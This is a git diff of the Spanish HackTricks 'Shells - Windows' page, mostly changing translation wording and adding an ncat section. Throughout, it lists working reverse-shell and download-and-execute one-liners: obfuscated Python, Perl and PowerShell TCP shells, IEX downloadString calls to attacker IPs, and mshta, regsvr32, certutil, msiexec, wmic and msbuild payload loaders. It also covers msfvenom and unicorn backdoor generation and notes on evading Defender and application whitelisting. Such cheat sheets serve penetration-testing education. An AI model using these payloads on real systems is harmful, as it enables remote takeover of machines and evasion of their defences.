diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md
index 7dc455dc8..b64b7e7d9 100644
--- a/generic-methodologies-and-resources/shells/windows.md
+++ b/generic-methodologies-and-resources/shells/windows.md
@@ -1,21 +1,21 @@
# Shells - Windows
{% hint style="success" %}
-Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks
+Support HackTricks
-* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-**Grupo de Seguridad Try Hard**
+**Try Hard Security Group**
@@ -25,16 +25,29 @@ Aprende y practica Hacking en GCP:
```
+## NCAT
+víctima
+```
+ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)"
+#Encryption to bypass firewall
+ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
+```
+atacante
+```
+ncat -l
+#Encryption to bypass firewall
+ncat -l --ssl
+```
## SBD
-**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas tipo Unix y Win32. Con características como encriptación fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede ser utilizada como un reemplazo confiable para Netcat.
+**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable para Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@@ -52,8 +65,6 @@ uid=0(root) gid=0(root) groups=0(root)
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
## Perl
-
-Perl es un lenguaje de programación ampliamente utilizado en el hacking debido a su capacidad para realizar tareas de forma rápida y eficiente. Es especialmente útil para escribir scripts que pueden ser ejecutados en sistemas Windows.
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@@ -75,9 +86,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response
```
-**Victima**
-
-En el contexto de la seguridad informática, una "víctima" se refiere a un sistema o entidad que ha sido comprometido o afectado por un ataque cibernético.
+Víctima
```bash
#Linux
openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect :
@@ -92,19 +101,19 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
-Proceso que realiza una llamada de red: **powershell.exe**\
-Carga escrita en disco: **NO** (_al menos en ningún lugar que pude encontrar usando procmon !_)
+Proceso que realiza la llamada de red: **powershell.exe**\
+Carga útil escrita en el disco: **NO** (_al menos en ningún lugar que pudiera encontrar usando procmon ¡_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
-Proceso realizando llamada de red: **svchost.exe**\
-Carga escrita en disco: **caché local del cliente WebDAV**
+Proceso que realiza la llamada de red: **svchost.exe**\
+Carga útil escrita en el disco: **Caché local del cliente WebDAV**
**Una línea:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
-**Obtén más información sobre diferentes Shells de Powershell al final de este documento**
+**Obtén más información sobre diferentes shells de Powershell al final de este documento**
## Mshta
@@ -120,13 +129,13 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
-#### **Ejemplo de shell inverso hta-psh (utiliza hta para descargar y ejecutar la puerta trasera de PowerShell)**
+#### **Ejemplo de shell inverso hta-psh (usar hta para descargar y ejecutar puerta trasera PS)**
```xml
```
-**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager hta**
+**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager hta**
-#### Ejemplo hta
+#### ejemplo de hta
[**Desde aquí**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml
@@ -179,7 +188,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
## **Rundll32**
-[**Ejemplo de Dll de hola mundo**](https://github.com/carterjones/hello-world-dll)
+[**Ejemplo de Dll hello world**](https://github.com/carterjones/hello-world-dll)
* [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
@@ -263,17 +272,17 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
-**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager regsvr**
+**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager regsvr**
## Certutil
* [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-Descarga un B64dll, descódificalo y ejecútalo.
+Descarga un B64dll, decodifícalo y ejecútalo.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
-Descarga un B64exe, descódificalo y ejecútalo.
+Descarga un B64exe, decodifícalo y ejecútalo.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
@@ -294,8 +303,8 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
```bash
\\webdavserver\folder\batchfile.bat
```
-Proceso realizando llamada de red: **svchost.exe**\
-Carga escrita en disco: **caché local del cliente WebDAV**
+Proceso que realiza la llamada de red: **svchost.exe**\
+Carga útil escrita en el disco: **Caché local del cliente WebDAV**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@@ -313,7 +322,7 @@ Atacante
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
-**Víctima:**
+Víctima:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@@ -325,7 +334,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
-Archivo xsl de ejemplo [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
+Ejemplo de archivo xsl [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
@@ -339,7 +348,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
**No detectado**
-**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic utilizando el stager wmic**
+**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager wmic**
## Msbuild
@@ -347,7 +356,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
-Puedes usar esta técnica para evadir la Lista Blanca de Aplicaciones y las restricciones de Powershell.exe. Ya que se te solicitará un shell de PS.\
+Puedes usar esta técnica para eludir la lista blanca de aplicaciones y las restricciones de Powershell.exe. Se te presentará un shell de PS.\
Simplemente descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@@ -360,7 +369,7 @@ Compilar código C# en la máquina víctima.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
-Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
+Puedes descargar un shell reverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**No detectado**
@@ -370,7 +379,7 @@ Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.githu
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
-**No lo he intentado**
+**No lo he probado**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
@@ -380,17 +389,17 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
-**No lo he intentado**
+**No lo he probado**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
-## Shells de Powershell
+## Powershell Shells
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
-En la carpeta **Shells**, hay muchos shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_ haz una copia del script y añade al final del archivo:
+En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haz una copia del script y añade al final del archivo:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
@@ -398,23 +407,23 @@ Comience a servir el script en un servidor web y ejecútelo en el extremo de la
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
-Defender no lo detecta como código malicioso (aún, 3/04/2019).
+Defender no lo detecta como código malicioso (aún, 04/03/2019).
-**TAREA: Revisar otros shells de nishang**
+**TODO: Verificar otras shells de nishang**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
-Descarga, inicia un servidor web, inicia el escucha y ejecútalo en el extremo de la víctima:
+Descargar, iniciar un servidor web, iniciar el listener y ejecutarlo en el lado de la víctima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
-Defender no lo detecta como código malicioso (aún, 3/04/2019).
+Defender no lo detecta como código malicioso (aún, 03/04/2019).
**Otras opciones ofrecidas por powercat:**
-Conexiones de escucha, Shell inversa (TCP, UDP, DNS), Redirección de puertos, subida/bajada de archivos, Generar payloads, Servir archivos...
+Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@@ -445,15 +454,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
-Crear una versión en powershell de la puerta trasera de metasploit utilizando unicorn
+Crea una versión de powershell de un backdoor de metasploit usando unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
-Inicia msfconsole con el recurso creado:
+Inicie msfconsole con el recurso creado:
```
msfconsole -r unicorn.rc
```
-Inicia un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecuta en la víctima:
+Inicie un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecute en la víctima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
@@ -461,8 +470,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## Más
-[PS>Attack](https://github.com/jaredhaight/PSAttack) Consola de PS con algunos módulos ofensivos de PS precargados (cifrados)\
-[WinPWN](https://github.com/SecureThisShit/WinPwn) Consola de PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
+[PS>Attack](https://github.com/jaredhaight/PSAttack) consola PS con algunos módulos ofensivos de PS precargados (cifrado)\
+[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
+WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
## Referencias
@@ -474,7 +484,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-**Grupo de Seguridad Try Hard**
+**Try Hard Security Group**
@@ -488,9 +498,9 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks
-* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}